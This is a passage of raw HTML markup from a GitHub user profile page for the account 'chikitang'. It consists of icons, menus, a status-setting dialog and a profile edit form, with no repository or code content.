01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_AVATAR","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&compact=1&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 